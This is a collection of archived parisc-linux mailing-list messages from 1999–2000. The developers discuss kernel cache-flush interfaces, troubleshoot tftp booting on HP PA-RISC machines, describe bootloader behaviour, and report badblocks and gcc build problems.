From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Wed, 30 Aug 2000 01:17:52 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20000830011752.A9854@parcelfarce.linux.theplanet.co.uk>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com> <20000823172320.E4060@linuxcare.com> <20000829172308.A1032@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619091 3199 80.91.229.3 (22 Nov 2014 01:18:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:11 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>, Helge Deller <deller@gmx.de>
Original-X-From: willy@www.linux.org.uk  Tue Aug 29 18:17:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA09839
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 18:17:58 -0600
Original-Received: (qmail 26442 invoked by uid 15267); 30 Aug 2000 00:17:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26432 invoked from network); 30 Aug 2000 00:17:57 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 00:17:57 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13TvZg-0004Qt-00; Wed, 30 Aug 2000 01:17:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20000829172308.A1032@vodka.thepuffingroup.com>; from matthew@wil.cx on Tue, Aug 29, 2000 at 05:23:08PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:7833

On Tue, Aug 29, 2000 at 05:23:08PM -0400, Matthew Wilcox wrote:
> > Helge Deller wrote some code in drivers/net/lasi_82596.c that plays
> > with %sr1 and uses FDC, FIC, PDC, SYNC, and SYNCDMA.

> #define kernel_fdc(addr) asm volatile("fdc 0(%%sr0,%0)" : : "r" (addr))
> 
> however, the resulting kernel wouldn't boot.  So let's take this a
> step at a time and see how far we can go towards eliminating the *E
> variants.  I've written a little rant on this suject which you can find
> in linux-2.3/Documentation/parisc/mm.  feel free to ignore it if you want.

ok.  we now have interfaces for flushing kernel dcache.  I'm assuming
that no-one is intending to dma to/from an instruction page, so i
haven't included an icache variant.  i'm not using sync or syncdma yet.
perhaps i should be.  are we out-of-order right now or have we told the
MMU to strongly order our writes?

Anyway, would either of Richard or Helge like to look over the lasi_82596
driver and convert it to use the flush_kernel_dcache_range() interface
or tell me why my code is no good and I suck?  Ditto the sim700 driver
actually.  Are there any other drivers which have simply taken the
lasi_82596 wback code and replicated it or are these the only two?


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] still cannot boot.
Date: Tue, 29 Aug 2000 21:31:34 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008292127480.24744-100000@misty.cdf>
References: <200008292045.NAA17082@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619092 3204 80.91.229.3 (22 Nov 2014 01:18:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Tue Aug 29 19:31:43 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA10270
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 19:31:42 -0600
Original-Received: (qmail 18660 invoked by uid 15267); 30 Aug 2000 01:31:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18653 invoked from network); 30 Aug 2000 01:31:45 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 01:31:45 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 864823C0B; Tue, 29 Aug 2000 21:31:35 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <200008292045.NAA17082@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7834

I must be missing something...
I got a bootable HP-UX installation CD today, so I popped it in my CDROM
and on the BOOT_ADMIN> prompt I typed, boot lan isl.  It still gets
stuck, then I changed the path, so that cdrom is primary and the LAN is
secondary, then typed  boot pri isl, and it comes right back to the
BOOT_ADMIN> prompt.  Am I missing something obvious?


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still cannot boot.
Date: Tue, 29 Aug 2000 21:05:14 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20000830030514.75C5637D06@carmen.fc.hp.com>
References: <Pine.SOL.4.21.0008292127480.24744-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619092 3205 80.91.229.3 (22 Nov 2014 01:18:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: taggart@carmen.fc.hp.com  Tue Aug 29 21:03:31 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA10849
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 21:03:30 -0600
Original-Received: (qmail 25607 invoked by uid 15267); 30 Aug 2000 03:03:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25591 invoked from network); 30 Aug 2000 03:03:34 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 03:03:34 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP
	id F3BB0360; Tue, 29 Aug 2000 21:03:36 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 75C5637D06; Tue, 29 Aug 2000 21:05:14 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Your message of "Tue, 29 Aug 2000 21:31:34 EDT."
             <Pine.SOL.4.21.0008292127480.24744-100000@misty.cdf> 
Xref: news.gmane.org gmane.linux.ports.parisc:7835


Andrew Park writes...

> I must be missing something...
> I got a bootable HP-UX installation CD today, so I popped it in my CDROM
> and on the BOOT_ADMIN> prompt I typed, boot lan isl.  It still gets
> stuck, then I changed the path, so that cdrom is primary and the LAN is
> secondary, then typed  boot pri isl, and it comes right back to the
> BOOT_ADMIN> prompt.  Am I missing something obvious?

Are you sure that the CDROM is bootable? What type of CDROM drive are you 
using? I'm not positive that just any drive will work. Can you see the cdrom 
when you do a "sea scsi"? If not then either the CDROM isn't bootable or the 
drive isn't working.

Why don't you try to use the uxbootlf that I posted? I know you're having 
problems with bootp/tftp but you'll need to get them working if you want to 
use newer kernels.

In my experience bootp/tftp are a pain for everyone and just require 
persistance to get working. Send me errors if you can't get it working.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jason@equator.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Linker scripts and the boot loader
Date: Fri, 26 Mar 1999 11:21:14 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <199903261921.LAA22256@gatekeeper.equator.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619092 3207 80.91.229.3 (22 Nov 2014 01:18:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:12 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: jason@gatekeeper.equator.com  Fri Mar 26 14:21:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA20575
	for <hppa-linux@sod.res.cmu.edu>; Fri, 26 Mar 1999 14:21:22 -0500
Original-Received: (qmail 1326 invoked by uid 15267); 26 Mar 1999 19:20:08 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 1319 invoked from network); 26 Mar 1999 19:20:07 -0000
Original-Received: from gatekeeper.equator.com (jason@204.137.130.1)
  by mailserv2.iuinc.com with SMTP; 26 Mar 1999 19:20:07 -0000
Original-Received: (from jason@localhost)
	by gatekeeper.equator.com (8.9.1a/8.9.1) id LAA22256
	for hppa-linux@thepuffingroup.com; Fri, 26 Mar 1999 11:21:14 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:7836


>
> Okay.  How does the boot loader work with loading the kernel?  I recall
> Jason saying something about the boot loader knowing how to load binaries.
>

  Currently, the bootloader assumes that the kernel is position independent
  and either straight binary or SOM (packed with ld -N). By "straight" binary
  I mean only the code and no headers, etc.
  I think HockeyPUX is linked at a certain address and is not position
  independent. I'm not sure why being inflexible like this is a win, but if
  necessary we could do the same.

  Also, since the loader assumes a binary image, the ELF image we produce
  will need to be massaged (same as x86 linux kernel, at least at one time).
  This was done because its simple to just read one record after the other
  into memory and execute.
  Alternatively, more code could be added to "understand" ELF. I prefer to
  keep the bootloader simple...it is just a bootloader after all.

  The simple dummy kernel you saw in the bootstrap tests is just a position
  independent binary loaded straight from the LIF and executed.

  Jason.


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] badblocks segmentation fault when using mke2fs -c
Date: Tue, 29 Aug 2000 21:50:58 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20000830035058.E695437D06@carmen.fc.hp.com>
References: <20000825124049.B13420@linuxcare.com>  
 <39A6A225.408A2DF0@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619093 3209 80.91.229.3 (22 Nov 2014 01:18:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Claudiu Carter <ccarter@linuxcare.com>
Original-X-From: taggart@carmen.fc.hp.com  Tue Aug 29 21:49:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA11169
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 21:49:10 -0600
Original-Received: (qmail 25952 invoked by uid 15267); 30 Aug 2000 03:49:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25939 invoked from network); 30 Aug 2000 03:49:14 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 03:49:14 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP
	id F3991306; Tue, 29 Aug 2000 21:49:20 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id E695437D06; Tue, 29 Aug 2000 21:50:58 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Claudiu Carter <ccarter@linuxcare.com> 
   of "Fri, 25 Aug 2000 12:43:18 EDT." <39A6A225.408A2DF0@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7837


Claudiu Carter writes...

> Hi, i just though all should know that mke2fs works, but badblocks doesn't.
> badblocks was run from the PA/Linux Development CD 0.1
> i ran 'mke2fs -c -v /dev/sda3'
> and got:
[snip]
> 
> Running command: badblocks -b 4096 -s /dev/sda3 237030
> do_page_fault() pid=21 command='badblocks'
[snip]

I just rebuilt e2fsprogs(available on the ftp site) and tried the above. It 
still does the same thing.

If I run badblocks with out the "-b blocksize" flag it works fine.

Hopefully someone knows what this means :)

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc make failures
Date: Tue, 29 Aug 2000 22:12:40 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20000830041240.939D537D06@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0008190244530.18573-100000@kirin.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619093 3211 80.91.229.3 (22 Nov 2014 01:18:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: taggart@carmen.fc.hp.com  Tue Aug 29 22:10:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA11592
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 22:10:52 -0600
Original-Received: (qmail 8538 invoked by uid 15267); 30 Aug 2000 04:10:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8531 invoked from network); 30 Aug 2000 04:10:55 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 04:10:55 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel1.hp.com (Postfix) with ESMTP
	id 9A88A166; Tue, 29 Aug 2000 22:11:02 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 939D537D06; Tue, 29 Aug 2000 22:12:40 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Andrew Park <apark@cdf.toronto.edu> 
   of "Sat, 19 Aug 2000 02:51:03 EDT." <Pine.LNX.4.21.0008190244530.18573-100000@kirin.cdf> 
Xref: news.gmane.org gmane.linux.ports.parisc:7838


Andrew Park writes...

> Hi, all
> 
> Just wondering ... I'm trying to build gcc, but although I passed in
> 
> 	make LIBGCC2_INCLUDES=-I$DEST/include

Rather than do that I would use a "--with-headers=$DEST/include" flag in the 
configure phase.

Or if you're lazy or not interesting in building it yourself you could just 
grab an i386-linux cross compiler tarball from,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tgz


-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still cannot boot.
Date: Wed, 30 Aug 2000 01:25:21 -0400 (EDT)
Lines: 77
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008292333530.24934-100000@misty.cdf>
References: <20000830030514.75C5637D06@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619093 3215 80.91.229.3 (22 Nov 2014 01:18:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: apark@cdf.toronto.edu  Tue Aug 29 23:25:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA12086
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 23:25:47 -0600
Original-Received: (qmail 23120 invoked by uid 15267); 30 Aug 2000 05:25:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23110 invoked from network); 30 Aug 2000 05:25:47 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 05:25:47 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 530773C0B; Wed, 30 Aug 2000 01:25:22 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <20000830030514.75C5637D06@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7839

On Tue, 29 Aug 2000, Matt Taggart wrote:

> 
> Andrew Park writes...
> 
> > I must be missing something...
> > I got a bootable HP-UX installation CD today, so I popped it in my CDROM
> > and on the BOOT_ADMIN> prompt I typed, boot lan isl.  It still gets
> > stuck, then I changed the path, so that cdrom is primary and the LAN is
> > secondary, then typed  boot pri isl, and it comes right back to the
> > BOOT_ADMIN> prompt.  Am I missing something obvious?
> 
> Are you sure that the CDROM is bootable? What type of CDROM drive are you 
> using? I'm not positive that just any drive will work. Can you see the cdrom 
> when you do a "sea scsi"? If not then either the CDROM isn't bootable or the 
> drive isn't working.

The CDROM is a 4 speed NEC.  search at BOOT_ADMIN> prompt returns

	NEC CD-ROM DRIVE:501

so it is finding it.

> Why don't you try to use the uxbootlf that I posted? I know you're having 
> problems with bootp/tftp but you'll need to get them working if you want to 
> use newer kernels.
> 
> In my experience bootp/tftp are a pain for everyone and just require 
> persistance to get working. Send me errors if you can't get it working.

We can narrow it down to tftp.  bootp sees the request and replies to
it, but somehow tftp just doesn't transfer uxbootlf.  But it likes
vmlinux (coming from building palo) in which case it transfers the kernel
and gets stuck only at pdc_cons die !!  This is bizarre...
With uxbootlf, I did a strace on one of the in.tftpd process and got

recv(0, 0x804b380, 516, 0)              = ? ERESTARTSYS (To be restarted)
--- SIGALRM (Alarm clock) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
send(0, "\0\3\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 516, 0) = 516
alarm(5)                                = 0
recv(0, 0x804b380, 516, 0)              = ? ERESTARTSYS (To be restarted)
--- SIGALRM (Alarm clock) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
send(0, "\0\3\0\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 516, 0) = 516
alarm(5)                                = 0
recv(0, 0x804b380, 516, 0)              = ? ERESTARTSYS (To be restarted)
--- SIGALRM (Alarm clock) ---
_exit(1)                                = ?

While the client is trying to download the image, the server always
has four in.tftpd instances.  Older process times out, then a fresh one
comes a board.  Unfortunately, log file doesn't say much, it only
has

	trying to get file: /tftpboot/uxbootlf

which comes from

	int validate_access (char,int)

of tftpd.c.  I put some debugging message to it and verified that
the function did not return an error.
So any ideas now?  With the same set up (with an exception of boot image
file name) vmlinux (resulting image of doing make palo under linux-2.3
directory) pretty much works, but with uxbootlf it doesn't go anywhere
so far - very odd.
Let me know, Thanks.


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] still cannot boot.
Date: Tue, 29 Aug 2000 22:38:58 PDT
Lines: 25
Approved: news@gmane.org
Message-ID: <200008300538.WAA02356@chrome.rose.hp.com>
References: <Pine.SOL.4.21.0008292333530.24934-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619093 3216 80.91.229.3 (22 Nov 2014 01:18:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:13 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, parisc-linux@thepuffingroup.com
To: apark@cdf.toronto.edu (Andrew Park)
Original-X-From: kirkb@chrome.rose.hp.com  Tue Aug 29 23:35:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA12350
	for <parisc-linux@puffin.external.hp.com>; Tue, 29 Aug 2000 23:35:32 -0600
Original-Received: (qmail 29042 invoked by uid 15267); 30 Aug 2000 05:35:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29034 invoked from network); 30 Aug 2000 05:35:36 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 05:35:36 -0000
Original-Received: from chrome.rose.hp.com (chrome.rose.hp.com [15.8.150.209])
	by atlrel1.hp.com (Postfix) with ESMTP
	id D026B2B22; Wed, 30 Aug 2000 01:35:35 -0400 (EDT)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.8.6 SMKit7.02) id WAA02356; Tue, 29 Aug 2000 22:38:58 -0700 (PDT)
In-Reply-To: <Pine.SOL.4.21.0008292333530.24934-100000@misty.cdf>; from "Andrew Park" at Aug 30, 100 1:25 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:7840

| 
| > 
| > Andrew Park writes...
| > 
| > > I must be missing something...
| > > I got a bootable HP-UX installation CD today, so I popped it in my CDROM
| > > and on the BOOT_ADMIN> prompt I typed, boot lan isl.  It still gets
| > > stuck, then I changed the path, so that cdrom is primary and the LAN is
| > > secondary, then typed  boot pri isl, and it comes right back to the
| > > BOOT_ADMIN> prompt.  Am I missing something obvious?
| > 

Em, if you're trying to boot from your CD-ROM, why are you typing
a command to attempt a lan boot?  Don't you want to do the following:

BOOT_ADMIN> boot scsi[some address stuff] isl ?

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Wed, 30 Aug 2000 09:15:04 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20000830091504.C877@linuxcare.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com> <20000823172320.E4060@linuxcare.com> <20000829172308.A1032@vodka.thepuffingroup.com> <20000830011752.A9854@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619094 3219 80.91.229.3 (22 Nov 2014 01:18:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Wed Aug 30 02:14:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA23299
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 02:14:51 -0600
Original-Received: (qmail 22952 invoked by uid 15267); 30 Aug 2000 08:14:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22943 invoked from network); 30 Aug 2000 08:14:55 -0000
Original-Received: from user48-177.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.48.177)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 08:14:55 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CDEDBB005; Wed, 30 Aug 2000 09:15:04 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000830011752.A9854@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Wed, Aug 30, 2000 at 01:17:52AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:7841

On Wed, Aug 30, 2000 at 01:17:52AM +0100, Matthew Wilcox wrote:
> Anyway, would either of Richard or Helge like to look over the lasi_82596
> driver and convert it to use the flush_kernel_dcache_range() interface
> or tell me why my code is no good and I suck?  Ditto the sim700 driver
> actually.  Are there any other drivers which have simply taken the
> lasi_82596 wback code and replicated it or are these the only two?

Only those two, so far as I'm aware.  I'll have a look at them.

Richard


From - Thu Nov 08 21:13:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Wed, 30 Aug 2000 11:15:23 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20000830111523.F877@linuxcare.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com> <20000823172320.E4060@linuxcare.com> <20000829172308.A1032@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619094 3232 80.91.229.3 (22 Nov 2014 01:18:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:14 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Wed Aug 30 04:15:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA26669
	for <parisc-linux@puffin.external.hp.com>; Wed, 30 Aug 2000 04:15:22 -0600
Original-Received: (qmail 4354 invoked by uid 15267); 30 Aug 2000 10:15:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4343 invoked from network); 30 Aug 2000 10:15:25 -0000
Original-Received: from user48-177.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.48.177)
  by mailserv2.iuinc.com with SMTP; 30 Aug 2000 10:15:25 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6E607B005; Wed, 30 Aug 2000 11:15:23 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20000829172308.A1032@vodka.thepuffingroup.com>; from matthew@wil.cx on Tue, Aug 29, 2000 at 05:23:08PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7842

